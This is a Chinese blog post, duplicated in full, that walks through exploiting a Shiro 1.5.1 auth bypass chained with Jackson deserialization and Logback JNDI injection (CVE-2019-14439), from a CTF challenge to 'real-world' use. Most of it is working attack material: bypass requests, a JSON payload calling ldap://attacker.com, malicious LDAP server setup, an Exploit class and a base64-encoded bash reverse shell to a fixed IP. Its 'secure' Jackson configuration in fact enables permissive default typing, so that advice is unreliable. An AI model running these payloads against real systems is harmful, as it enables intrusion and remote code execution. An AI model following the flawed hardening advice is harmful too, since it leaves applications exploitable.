从CTF到实战Shiro 1.5.1与Logback漏洞链的深度利用指南在渗透测试领域CTF比赛往往是最新漏洞利用技术的试验场。去年NPUCTF2020中的EzShiro赛题就巧妙融合了Shiro权限绕过、Jackson反序列化与Logback的JNDI注入漏洞CVE-2019-14439这一组合攻击链。本文将带您从零开始完整复现这个典型的多层漏洞利用场景并分享高版本JDK环境下的实战技巧。1. 漏洞环境构建与初步分析1.1 基础环境搭建我们需要准备以下组件Spring Boot 2.3.xShiro 1.5.1Logback 1.2.1Jackson-databind 2.10.0Commons-collections 3.2.1关键Maven依赖配置如下dependency groupIdorg.apache.shiro/groupId artifactIdshiro-web/artifactId version1.5.1/version /dependency dependency groupIdch.qos.logback/groupId artifactIdlogback-core/artifactId version1.2.1/version /dependency注意实际环境中可能需要添加shiro-spring-boot-web-starter来确保Shiro与Spring Boot的兼容性。1.2 漏洞组件交互关系这个漏洞链的核心在于三个组件的串联Shiro权限绕过通过特殊URL构造如/;/json绕过认证Jackson反序列化处理JSON数据时触发恶意类加载Logback JNDI注入通过JNDIConnectionSource类实现远程代码执行2. 漏洞利用链详细拆解2.1 Shiro权限绕过技巧Shiro 1.5.1版本存在路径解析缺陷攻击者可以通过以下方式绕过认证GET /;/json HTTP/1.1 Host: vulnerable-app.com这种利用方式依赖于Shiro的URL路径匹配逻辑与Spring框架的差异。关键在于分号(;)字符的处理组件路径解析结果Shiro匹配/路由Spring MVC匹配/json路由2.2 Jackson反序列化触发点成功绕过认证后向/json端点发送精心构造的JSON数据[ ch.qos.logback.core.db.JNDIConnectionSource, { jndiLocation:ldap://attacker.com:1389/Exploit } ]关键触发条件需要开启enableDefaultTyping()方法目标类必须在classpath中2.3 Logback的JNDI注入实现Logback的JNDIConnectionSource类存在不安全的JNDI查找public void setJndiLocation(String jndiLocation) { this.jndiLocation jndiLocation; try { this.context (Context)new InitialContext().lookup(this.jndiLocation); } catch (NamingException var3) { this.addError(Failed to obtain InitialContext, var3); } }3. 高版本JDK下的利用限制与绕过3.1 JDK版本限制分析不同JDK版本对JNDI注入的防护措施JDK版本限制措施可用的Gadget链≤8u191无限制所有可用链8u191禁用远程类加载CommonsCollections本地链≥11默认禁用JNDI远程访问需要特殊配置3.2 使用ysomap工具的高级利用对于高版本JDK环境可以使用ysomap工具生成特殊payloadjava -jar ysomap.jar use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjQuNzAuNDAuNS8xMjM0IDAJjE}|{base64,-d}|{bash,-i} run关键参数说明CommonsCollections8适用于高版本JDK的Gadget链TransformerBullet提供命令执行转换器Base64编码避免特殊字符传输问题4. 完整攻击流程演示4.1 环境准备阶段启动恶意LDAP服务器python3 -m http.server 8000 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com:8000/#Exploit准备Exploit.class文件public class Exploit { static { try { Runtime.getRuntime().exec(calc.exe); } catch (Exception e) {} } }4.2 实际攻击步骤发现Shiro权限绕过点GET /;/json HTTP/1.1 Host: target.com发送恶意JSON payloadPOST /;/json HTTP/1.1 Content-Type: application/json [ch.qos.logback.core.db.JNDIConnectionSource,{jndiLocation:ldap://attacker.com:1389/Exploit}]观察LDAP服务器日志确认攻击成功4.3 常见问题排查遇到攻击失败时建议检查以下方面目标应用的依赖版本是否准确JDK版本是否过高导致限制网络连通性出站流量是否被限制反序列化过滤器是否启用5. 防御措施与修复建议5.1 组件升级方案组件安全版本修复内容Shiro≥1.6.0修复路径解析逻辑Logback≥1.2.3移除JNDIConnectionSourceJackson≥2.10.5.1加强反序列化类型检查5.2 运行时防护策略JVM参数加固-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dlogback.configurationFile/secure/path/to/config.xmlShiro配置优化shiro.appliedPaths/** shiro.filterChainDefinitions[/**] authcJackson安全配置ObjectMapper mapper new ObjectMapper(); mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);在实际渗透测试项目中这种多层漏洞组合利用的情况非常普遍。记得在一次内部红队演练中我们就是通过类似的漏洞链拿下了目标系统的控制权。关键是要理解每个组件的交互方式并准备好针对不同环境的利用方案。
从一道CTF题到实战:手把手复现Shiro 1.5.1与Logback的JNDI注入组合拳(CVE-2019-14439)
发布时间:2026/6/8 3:24:22
从CTF到实战Shiro 1.5.1与Logback漏洞链的深度利用指南在渗透测试领域CTF比赛往往是最新漏洞利用技术的试验场。去年NPUCTF2020中的EzShiro赛题就巧妙融合了Shiro权限绕过、Jackson反序列化与Logback的JNDI注入漏洞CVE-2019-14439这一组合攻击链。本文将带您从零开始完整复现这个典型的多层漏洞利用场景并分享高版本JDK环境下的实战技巧。1. 漏洞环境构建与初步分析1.1 基础环境搭建我们需要准备以下组件Spring Boot 2.3.xShiro 1.5.1Logback 1.2.1Jackson-databind 2.10.0Commons-collections 3.2.1关键Maven依赖配置如下dependency groupIdorg.apache.shiro/groupId artifactIdshiro-web/artifactId version1.5.1/version /dependency dependency groupIdch.qos.logback/groupId artifactIdlogback-core/artifactId version1.2.1/version /dependency注意实际环境中可能需要添加shiro-spring-boot-web-starter来确保Shiro与Spring Boot的兼容性。1.2 漏洞组件交互关系这个漏洞链的核心在于三个组件的串联Shiro权限绕过通过特殊URL构造如/;/json绕过认证Jackson反序列化处理JSON数据时触发恶意类加载Logback JNDI注入通过JNDIConnectionSource类实现远程代码执行2. 漏洞利用链详细拆解2.1 Shiro权限绕过技巧Shiro 1.5.1版本存在路径解析缺陷攻击者可以通过以下方式绕过认证GET /;/json HTTP/1.1 Host: vulnerable-app.com这种利用方式依赖于Shiro的URL路径匹配逻辑与Spring框架的差异。关键在于分号(;)字符的处理组件路径解析结果Shiro匹配/路由Spring MVC匹配/json路由2.2 Jackson反序列化触发点成功绕过认证后向/json端点发送精心构造的JSON数据[ ch.qos.logback.core.db.JNDIConnectionSource, { jndiLocation:ldap://attacker.com:1389/Exploit } ]关键触发条件需要开启enableDefaultTyping()方法目标类必须在classpath中2.3 Logback的JNDI注入实现Logback的JNDIConnectionSource类存在不安全的JNDI查找public void setJndiLocation(String jndiLocation) { this.jndiLocation jndiLocation; try { this.context (Context)new InitialContext().lookup(this.jndiLocation); } catch (NamingException var3) { this.addError(Failed to obtain InitialContext, var3); } }3. 高版本JDK下的利用限制与绕过3.1 JDK版本限制分析不同JDK版本对JNDI注入的防护措施JDK版本限制措施可用的Gadget链≤8u191无限制所有可用链8u191禁用远程类加载CommonsCollections本地链≥11默认禁用JNDI远程访问需要特殊配置3.2 使用ysomap工具的高级利用对于高版本JDK环境可以使用ysomap工具生成特殊payloadjava -jar ysomap.jar use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjQuNzAuNDAuNS8xMjM0IDAJjE}|{base64,-d}|{bash,-i} run关键参数说明CommonsCollections8适用于高版本JDK的Gadget链TransformerBullet提供命令执行转换器Base64编码避免特殊字符传输问题4. 完整攻击流程演示4.1 环境准备阶段启动恶意LDAP服务器python3 -m http.server 8000 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://attacker.com:8000/#Exploit准备Exploit.class文件public class Exploit { static { try { Runtime.getRuntime().exec(calc.exe); } catch (Exception e) {} } }4.2 实际攻击步骤发现Shiro权限绕过点GET /;/json HTTP/1.1 Host: target.com发送恶意JSON payloadPOST /;/json HTTP/1.1 Content-Type: application/json [ch.qos.logback.core.db.JNDIConnectionSource,{jndiLocation:ldap://attacker.com:1389/Exploit}]观察LDAP服务器日志确认攻击成功4.3 常见问题排查遇到攻击失败时建议检查以下方面目标应用的依赖版本是否准确JDK版本是否过高导致限制网络连通性出站流量是否被限制反序列化过滤器是否启用5. 防御措施与修复建议5.1 组件升级方案组件安全版本修复内容Shiro≥1.6.0修复路径解析逻辑Logback≥1.2.3移除JNDIConnectionSourceJackson≥2.10.5.1加强反序列化类型检查5.2 运行时防护策略JVM参数加固-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dlogback.configurationFile/secure/path/to/config.xmlShiro配置优化shiro.appliedPaths/** shiro.filterChainDefinitions[/**] authcJackson安全配置ObjectMapper mapper new ObjectMapper(); mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);在实际渗透测试项目中这种多层漏洞组合利用的情况非常普遍。记得在一次内部红队演练中我们就是通过类似的漏洞链拿下了目标系统的控制权。关键是要理解每个组件的交互方式并准备好针对不同环境的利用方案。